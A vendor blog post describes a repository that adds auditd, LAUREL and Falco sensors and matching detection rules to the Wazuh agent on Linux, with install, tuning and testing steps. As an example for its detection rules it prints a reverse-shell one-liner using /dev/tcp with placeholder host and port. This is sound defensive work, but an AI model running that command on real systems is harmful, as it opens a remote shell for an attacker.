wazuh-linux-sensors: auditd, LAUREL and Falco for the Wazuh Agent

Dominik Sigl Wazuh 5 Minuten Lesezeit

Out of the box, the Wazuh agent on Linux collects logs, runs file integrity monitoring and SCA checks. It does not see which process opened a socket, who read /etc/shadow or which command ran on a TTY. That takes a kernel-level sensor, plus decoders and rules that turn its output into alerts. wazuh-linux-sensors installs the agent together with two sensors and ships the matching Wazuh rules:

  • auditd + LAUREL: audit trail and compliance record. LAUREL is an auditd plugin that turns multi-line audit records into one enriched JSON line per event [1].
  • Falco: behavioural detection from kernel events, via eBPF or a kernel module [2].

Versions referenced in the repository: Wazuh agent 4.14.9, Falco 0.45.2, LAUREL 0.8.2.

Architecture

+------------------------- Linux endpoint -------------------------+
|                                                                   |
|  kernel audit --> auditd --> LAUREL --> /var/log/laurel/audit.log |
|                                                   |               |
|  kernel (eBPF) --> Falco -----------> /var/log/falco/events.json  |
|                                                   |               |
|                               wazuh-agent (<localfile>, json)     |
+-------------------------------------------------------------------+
                                     |
                                     v
                      Wazuh manager: rules 223000-226099

Both sensors write JSON files. The agent reads them with log_format json [4], so the manager needs no custom decoders. All matching happens in rules.

Who Detects What

auditd + LAURELFalco
Coverslogins, accounts, sudoers/PAM, persistence files, time changes, self-integrityreverse shells, execution from world-writable paths, credential reads, privilege escalation, setuid backdoors, anti-forensics, tampering
Wazuh rules223000-det-laurel-generic.xml225000-det-falco-generic.xml
Exclusions224000-excl-laurel-generic.xml226000-excl-falco-generic.xml

The split follows one rule: **one action, one alert**. Where both sensors see the same event, the auditd rule stays at level 3 and Falco raises the alert. The audit record still reaches the indexer as forensic trail, but the analyst gets one alert per action.

Example: bash -i >& /dev/tcp/<ip>/<port> 0>&1 makes the shell call connect(). auditd records it under the remote_shell key at level 3. Falco fires Wazuh: Reverse shell connection from shell binary, which includes the destination address:

- rule: "Wazuh: Reverse shell connection from shell binary"
  condition: >
    wz_outbound_connect
    and proc.name in (wz_shell_binaries)
    and wz_not_loopback
    and not wz_user_known_activity
  priority: CRITICAL
  tags: [host, network, mitre_execution, T1059, T1071]

The manager matches it by rule name and raises level 14:

<rule id="225110" level="14">
  <if_sid>225100</if_sid>
  <field name="rule">^Wazuh: Reverse shell connection from shell binary$</field>
  <description>Falco: shell binary opened an outbound connection, PROBABLE REVERSE SHELL: $(output_fields.proc.name) to $(output_fields.fd.sip):$(output_fields.fd.sport), user $(output_fields.user.loginname).</description>
  <group>falco,command_and_control,reverse_shell,</group>
  <mitre>
    <id>T1059</id>
    <id>T1071</id>
  </mitre>
</rule>

The repository ships 15 Falco rules, 50 auditd keys, 99 Wazuh detection rules and 29 exclusions. Both rulesets are mapped to MITRE ATT&CK [6].

Install on a Single Host

git clone https://github.com/iSecNG/wazuh-linux-sensors.git
cd wazuh-linux-sensors
sudo WAZUH_REGISTRATION_PASSWORD="$(cat /root/.wazuh-pass)" \
  bash install.sh --manager wazuh.example.com --agent-group linux

The installer:

  • installs and configures the agent, auditd with /etc/audit/rules.d/99-wazuh.rules, LAUREL and Falco
  • adds <localfile> entries for /var/log/laurel/audit.log and /var/log/falco/events.json

Main flags (install.sh --help lists all):

FlagPurpose
--manager <addr>Manager IP/FQDN (required)
--agent-group <groups>Comma-separated groups
--wazuh-version <ver>Pin agent version
--package-path <path>Local .deb/.rpm (air-gapped)
--skip-auditd, --skip-laurel, --skip-falcoLeave a sensor out
--dry-run, --verbosePreview / echo commands
--uninstallRemove everything, keep /var/log/laurel and /var/log/falco

If the agent is already installed, `--manager` and `--agent-group` have no effect. Edit `ossec.conf` or purge the agent first.

Deploy the Rules on the Manager

The rules run on the manager, not on the agents:

install -o wazuh -g wazuh -m 0660 wazuh/rules/*.xml /var/ossec/etc/rules/
/var/ossec/bin/wazuh-analysisd -t
systemctl restart wazuh-manager
FileIDsContents
223000-det-laurel-generic.xml223100–223399auditd/LAUREL detections
224000-excl-laurel-generic.xml224000–224099auditd/LAUREL exclusions
225000-det-falco-generic.xml225100–225399Falco detections
226000-excl-falco-generic.xml226000–226099Falco exclusions

Keep the filename prefixes. Files load in order, and the exclusions reference the detection rules.

To collect the sensor logs centrally instead of per host, put the <localfile> blocks into the group’s agent.conf [5] and remove the installer’s blocks from each agent’s ossec.conf (Ansible: wazuh_sensor_localfiles: false):

<agent_config>
  <localfile>
    <log_format>json</log_format>
    <location>/var/log/laurel/audit.log</location>
  </localfile>
  <localfile>
    <log_format>json</log_format>
    <location>/var/log/falco/events.json</location>
  </localfile>
</agent_config>

Tuning

All levels and frequency/timeframe values are starting points. They were not measured on production hosts. Baseline them before going live:

  • Rule 225150 alerts at level 3 on every interactive TTY command. It is the largest alert source by design. Size the indexer for it.
  • Burst rules 223350–223353 and 225300–225302 fire on legitimate bursts from configuration management and admin sessions.
  • On Ubuntu, MOTD scripts run recon tools on every SSH login. The recon burst threshold (225300) sits at 15 events in 120 seconds, above the measured 4 events per login. A different MOTD or shell profile moves that baseline.

Filter noise in Falco where possible. A rule that does not fire costs nothing; a Wazuh exclusion has already crossed the agent and analysisd. The hook is the macro wz_user_known_activity. Redefine it in a file that sorts after the ruleset [3]:

# /etc/falco/rules.d/zz-local-tuning.yaml
- macro: wz_user_known_activity
  condition: (proc.exepath = /opt/backup/bin/agent)

Wazuh-side noise goes into the excl files, never the det files.

Testing

On an installed host, from a real terminal (TTY-based checks skip over non-interactive SSH):

sudo bash auditd/test/audit-test.sh --verbose
sudo bash falco/test/falco-test.sh --verbose

Both scripts trigger the rules and leave no changes behind. Missing paths or binaries report SKIP.


Licensing

This project is licensed under the Business Source License 1.1. Use is free for personal non-commercial use, non-profits, NGOs and iSecNG customers with a service agreement. Other production use requires a commercial license. Contact sales@isecng.de. The license converts to Apache 2.0 on 2030-05-05.

Wazuh, Linux Audit, LAUREL, Falco and Ansible are fetched from upstream at install time under their own licenses, not vendored. Versions and pins are listed in the repository’s sbom.cdx.json.

Sources

Machen Sie schon heute den ersten Schritt

Unser Managed Detection & Response Service schützt Ihr Unternehmen unkompliziert vor Bedrohungen.

✉ Anfragen